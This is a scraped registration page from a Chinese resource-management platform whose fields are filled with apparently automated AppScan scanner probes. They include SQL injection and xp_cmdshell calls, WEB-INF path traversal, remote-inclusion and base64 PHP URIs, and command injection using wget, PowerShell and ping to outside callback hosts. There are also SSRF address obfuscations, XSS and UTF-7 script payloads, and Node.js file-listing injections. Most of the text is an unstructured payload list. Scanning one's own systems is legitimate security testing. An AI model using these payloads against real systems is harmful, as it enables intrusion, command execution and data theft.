数据库列表 跨库检索 后台管理 帮助 ProbePhishing WFXSSProbe WFXSSProbe")/> AB WFSQL"Probe;A--B " ; select * from dbo.sysdatabases-- ; select * from master..sysmessages-- ; select @@version;1;1;1-- ; having 1=1-- ";SELECT 1; 1 having 1=1-- \ having 1=1-- ) having 1=1-- ? having 1=1-- ＇ " having 1=1-- ; select @@version;1;1;1-- ; select * from master..sysmessages-- ; select * from dbo.sysdatabases-- 1 having 1=1-- \ having 1=1-- ; select * from sys.dba_users-- ) having 1=1-- ? having 1=1-- ; select * from sys.dba_users-- /../WEB-INF/web.xml /WEB-INF/web.xml /../WEB-INF/web.xml /WEB-INF/web.xml //a?|.//WEB-INF/web.xml \WEB-INF\web.xml \..\WEB-INF\web.xml http://security.appsechcl.com/phpinfotest.txt# http://security.appsechcl.com/phpinfotest.txt? data://text/plain;base64; PD9waHAgcHJpbnQgIjRwcCI7IHByaW50ICI1YzRuIjsgPz4K http://169.254.108.233:65243/phpinfotest.txt# http://169.254.108.233:65243/phpinfotest.txt? //a?|.//WEB-INF/web.xml (select ) |id |ls -a1F &&ls -a1F &&id ls ||ls -a1F ||id | id " | "id id wget http://169.254.108.233:65243/AppScanMsg.html?varId=9516 | ls -a1F " | "ls -a1F ls -a1F |powershell -command Invoke-WebRequest http://169.254.108.233:65243/AppScanMsg.html?varId=9521 ; wget http://169.254.108.233:65243/AppScanMsg.html?varId=9518 | wget http://169.254.108.233:65243/AppScanMsg.html?varId=9523 & wget http://169.254.108.233:65243/AppScanMsg.html?varId=9524 `wget http://169.254.108.233:65243/AppScanMsg.html?varId=9525` && wget http://169.254.108.233:65243/AppScanMsg.html?varId=9526 &powershell -command Invoke-WebRequest http://169.254.108.233:65243/AppScanMsg.html?varId=9522 &&powershell -command Invoke-WebRequest http://169.254.108.233:65243/AppScanMsg.html?varId=9530 powershell -command Invoke-WebRequest http://169.254.108.233:65243/AppScanMsg.html?varId=9533 ;powershell -command Invoke-WebRequest http://169.254.108.233:65243/AppScanMsg.html?varId=9534 ||powershell -command Invoke-WebRequest http://169.254.108.233:65243/AppScanMsg.html?varId=9536 "powershell -command Invoke-WebRequest http://169.254.108.233:65243/AppScanMsg.html?varId=9537# powershell -command Invoke-WebRequest http://169.254.108.233:65243/AppScanMsg.html?varId=9540# >(powershell -command Invoke-WebRequest http://169.254.108.233:65243/AppScanMsg.html?varId=9542) |vol &&vol ||vol | vol " | "vol || wget http://169.254.108.233:65243/AppScanMsg.html?varId=9527 <(powershell -command Invoke-WebRequest http://169.254.108.233:65243/AppScanMsg.html?varId=9544) )(powershell -command Invoke-WebRequest http://169.254.108.233:65243/AppScanMsg.html?varId=9556) + + ping -c 1 ping_9558_b8b9f4c7-de73-4e10-8021-24575cf33edc.securityip.appsechcl.com & ping -c 1 ping_9562_b8b9f4c7-de73-4e10-8021-24575cf33edc.securityip.appsechcl.com && ping -c 1 ping_9565_b8b9f4c7-de73-4e10-8021-24575cf33edc.securityip.appsechcl.com | ping -c 1 ping_9567_b8b9f4c7-de73-4e10-8021-24575cf33edc.securityip.appsechcl.com ; ping -c 1 ping_9570_b8b9f4c7-de73-4e10-8021-24575cf33edc.securityip.appsechcl.com $(wget http://169.254.108.233:65243/AppScanMsg.html?varId=9547) " wget http://169.254.108.233:65243/AppScanMsg.html?varId=9580 # wget http://169.254.108.233:65243/AppScanMsg.html?varId=9582 # >(wget http://169.254.108.233:65243/AppScanMsg.html?varId=9584) <(wget http://169.254.108.233:65243/AppScanMsg.html?varId=9585) || || and f=f and f=f -- and f=f) -- (select ) % and f%=f " and f=f -- and f=f) -- exec master..xp_cmdshell ver-- || ping -c 1 ping_9575_b8b9f4c7-de73-4e10-8021-24575cf33edc.securityip.appsechcl.com " ping -c 1 ping_9631_b8b9f4c7-de73-4e10-8021-24575cf33edc.securityip.appsechcl.com # ping -c 1 ping_9633_b8b9f4c7-de73-4e10-8021-24575cf33edc.securityip.appsechcl.com # and f=f >(ping -c 1 ping_9634_b8b9f4c7-de73-4e10-8021-24575cf33edc.securityip.appsechcl.com) <(ping -c 1 ping_9648_b8b9f4c7-de73-4e10-8021-24575cf33edc.securityip.appsechcl.com) $(ping -c 1 ping_9649_b8b9f4c7-de73-4e10-8021-24575cf33edc.securityip.appsechcl.com) `ping -c 1 ping_9650_b8b9f4c7-de73-4e10-8021-24575cf33edc.securityip.appsechcl.com` )(ping -c 1 ping_9651_b8b9f4c7-de73-4e10-8021-24575cf33edc.securityip.appsechcl.com) || || % and f%=f http://169.254.108.233:65243/AppScanMsg.html?varId=9681 http://2852023529:65243/AppScanMsg.html?varId=9684 http://0x00A9.0x0000FE.0x06C.0x00000E9:65243/AppScanMsg.html?varId=9687 http://0xA9FE6CE9:65243/AppScanMsg.html?varId=9692 http://000251.000000376.00000154.0000351:65243/AppScanMsg.html?varId=9696 http://0000025177466351:65243/AppScanMsg.html?varId=9700 http://0xA9.254.0000000154.0x000E9:65243/AppScanMsg.html?varId=9701 #&<(;+">; http://7146990825:65243/AppScanMsg.html?varId=9703 %3cscript+%3ealert%289722%29%3b%3c%2fscript+%3e javascript:alert(9714) ???????????????9738????????? \u003Cscript\u003Ealert\u00289740\u0029\u003C/script\u003E aaprobeli000284 aaprobeli000284 aaprobeli000284 ping_9765_885f5887-3591-45dd-b3d7-2a717b6d39d2.securityip.appsechcl.com http://ping_9768_885f5887-3591-45dd-b3d7-2a717b6d39d2.securityip.appsechcl.com http://@ping_9769_885f5887-3591-45dd-b3d7-2a717b6d39d2.securityip.appsechcl.com aaprobeli000284 Aaaprobeli000284 ＜script＞alert（9771）＜/script＞ ; " " ACJ- AD4APB-SCRIPT/TYPE=TEXT/VBSCRIPT AD7-MSGBOX(123) AA0APB-/SCRIPT AD7- +ACJ-+AD4APB-SCRIPT/TYPE=TEXT/VBSCRIPT+AD7-MSGBOX(123)+AA0APB-/SCRIPT+AD7- Aaaprobeli000284 ) AVAK$(RETURN_CODE)OS javascript:alert(9823) res.end(require(fs).readdirSync(.).toString()) res.end(require(fs).readdirSync(.).toString()) "Aaaprobeli000284 res.end(require(fs).readdirSync(..).toString()) res.end(require(fs).readdirSync(..).toString()) "Aaaprobeli000284 Aaaprobeli000284A Aaaprobeli000284A AppScanHeader: AppScanValue/1.2-9835 SecondAppScanHeader: whatever AppScanHeader: AppScanValue/1.2-9842 SecondAppScanHeader: whatever src=http://demo.testfire.net src=http://demo.testfire.net 欢迎进入信息资源建设与管理平台！

帐 号：
姓 名：
密 码：
确 认 密 码：
单位名称：	请选择单位
部 门：
电 话：
E-mail：
邮 编：
地 址：
开户日期：
终止日期：
备 注：
用户停用：

Copyright 2013-2014 TPI© 如有意见和建议，请E-mail至 TPI©cnki.net

欢迎访问WEB内容管理